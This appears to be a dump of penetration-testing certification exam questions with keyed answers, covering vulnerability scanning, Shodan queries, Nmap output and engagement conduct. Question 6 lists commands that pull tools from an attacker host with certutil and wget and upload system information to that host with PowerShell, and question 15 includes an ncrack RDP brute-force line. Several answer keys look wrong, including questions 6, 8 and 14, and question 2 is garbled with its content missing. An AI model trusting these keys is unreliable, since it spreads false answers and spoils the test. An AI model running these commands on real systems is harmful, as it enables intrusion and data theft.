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QUESTION 1

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control
systems: 

A. will reveal vulnerabilities in the Modbus protocol. 

B. may cause unintended failures in control systems. 

C. may reduce the true positive rate of findings. 

D. will create a denial-of-service condition on the IP networks. 

Correct Answer: B 

Reference: https://www.hsdl.org/?viewanddid=7262 

 

QUESTION 2

DRAG DROP 

A manager calls upon a tester to assist with diagnosing an issue within the following: 

Python script: #!/usr/bin/python s = “Administrator” 

The tester suspects it is an issue with string slicing and manipulation Analyze the following code segment and drag and
drop the correct output for each string manipulation to its corresponding code segment Options may be used once or
not at all. 

Select and Place: 

Correct Answer: 
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QUESTION 3

Which of the following tools provides Python classes for interacting with network protocols? 

A. Responder 

B. Impacket 

C. Empire 

D. PowerSploit 

Correct Answer: B 

Reference: https://github.com/SecureAuthCorp/impacket 

 

QUESTION 4

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information
gathering around the company\\'s web presence. Which of the following would the tester find MOST helpful in the initial
information-gathering steps? (Choose two.) 

A. IP addresses and subdomains 

B. Zone transfers 

C. DNS forward and reverse lookups 

D. Internet search engines 

E. Externally facing open ports 
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F. Shodan results 

Correct Answer: AB 

 

QUESTION 5

A financial institution is asking a penetration tester to determine if collusion capabilities to produce wire fraud are
present. Which of the following threat actors should the penetration tester portray during the assessment? 

A. Insider threat 

B. Nation state 

C. Script kiddie 

D. Cybercrime organization. 

Correct Answer: A 

 

QUESTION 6

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants
to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the
tester START this process? 

A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe 

B. powershell (New-Object System.Net.WebClient).UploadFile(`http://192.168.2.124/upload.php\\', `systeminfo.txt\\') 

C. schtasks /query /fo LIST /v | find /I "Next Run Time:" 

D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe 

Correct Answer: B 

Reference: https://infosecwriteups.com/privilege-escalation-in-windows-380bee3a2842 

 

QUESTION 7

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has
been given a variety of tools used by the company\\'s privacy policy. Which of the following would be the BEST to use to
find vulnerabilities on this server? 

A. OpenVAS 

B. Nikto 

C. SQLmap 

D. Nessus 
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Correct Answer: C 

Reference: https://phoenixnap.com/blog/best-penetration-testing-tools 

 

QUESTION 8

The results of an Nmap scan are as follows: 

Which of the following would be the BEST conclusion about this device? 

A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat
extension packets, allowing attackers to obtain sensitive information from process memory. 

B. This device is most likely a gateway with in-band management services. 

C. This device is most likely a proxy server forwarding requests over TCP/443. 

D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method
used to extract DNS names from packets prior to DNSSEC validation. 

Correct Answer: A 

 

QUESTION 9

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is
specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan
would meet the client\\'s requirements? 

A. "cisco-ios" "admin+1234" 

B. "cisco-ios" "no-password" 

C. "cisco-ios" "default-passwords" 

D. "cisco-ios" "last-modified" 

Correct Answer: A 
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QUESTION 10

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords
in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The
tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action
for the tester to take NEXT with this information? 

A. Create a custom password dictionary as preparation for password spray testing. 

B. Recommend using a password manage/vault instead of text files to store passwords securely. 

C. Recommend configuring password complexity rules in all the systems and applications. 

D. Document the unprotected file repository as a finding in the penetration-testing report. 

Correct Answer: D 

 

QUESTION 11

A penetration tester discovers that a web server within the scope of the engagement has already been compromised
with a backdoor. Which of the following should the penetration tester do NEXT? 

A. Forensically acquire the backdoor Trojan and perform attribution 

B. Utilize the backdoor in support of the engagement 

C. Continue the engagement and include the backdoor finding in the final report 

D. Inform the customer immediately about the backdoor 

Correct Answer: C 

 

QUESTION 12

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the
client\\'s IP address. The tester later discovered the SOC had used sinkholing on the penetration tester\\'s IP address.
Which of the following BEST describes what happened? 

A. The penetration tester was testing the wrong assets 

B. The planning process failed to ensure all teams were notified 

C. The client was not ready for the assessment to start 

D. The penetration tester had incorrect contact information 

Correct Answer: B 

 

QUESTION 13
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The results of an Nmap scan are as follows: 

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST 

Nmap scan report for ( 10.2.1.22 ) 

Host is up (0.0102s latency). 

Not shown: 998 filtered ports 

Port State Service 

80/tcp open http 

|_http-title: 80F 22% RH 1009.1MB (text/html) 

|_http-slowloris-check: 

| VULNERABLE: 

| Slowloris DoS Attack 

|  

Device type: bridge|general purpose 

Running (JUST GUESSING) : QEMU (95%) 

OS CPE: cpe:/a:qemu:qemu 

No exact OS matches found for host (test conditions non-ideal). 

OS detection performed. Please report any incorrect results at https://nmap.org/submit/. 

Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds 

Which of the following device types will MOST likely have a similar response? (Choose two.) 

A. Network device 

B. Public-facing web server 

C. Active Directory domain controller 

D. IoT/embedded device 

E. Exposed RDP 

F. Print queue 

Correct Answer: AB 

 

QUESTION 14

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software
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company\\'s network. Which of the following accounts should the tester use to return the MOST results? 

A. Root user 

B. Local administrator 

C. Service 

D. Network administrator 

Correct Answer: C 

 

QUESTION 15

A penetration tester runs a scan against a server and obtains the following output: 

21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-12-20 09:23AM 331
index.aspx | ftp-syst: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-
ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server | rdp-ntlm-info: |
Target Name: WEB3 | NetBIOS_Computer_Name: WEB3 | Product_Version: 6.3.9600 |_ System_Time:
2021-01-15T11:32:06+00:00 8443/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods:
TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server 

Which of the following command sequences should the penetration tester try NEXT? 

A. ftp 192.168.53.23 

B. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 –U guest 

C. ncrack –u Administrator –P 15worst_passwords.txt –p rdp 192.168.53.23 

D. curl –X TRACE https://192.168.53.23:8443/index.aspx 

E. nmap –-script vuln –sV 192.168.53.23 

Correct Answer: A 
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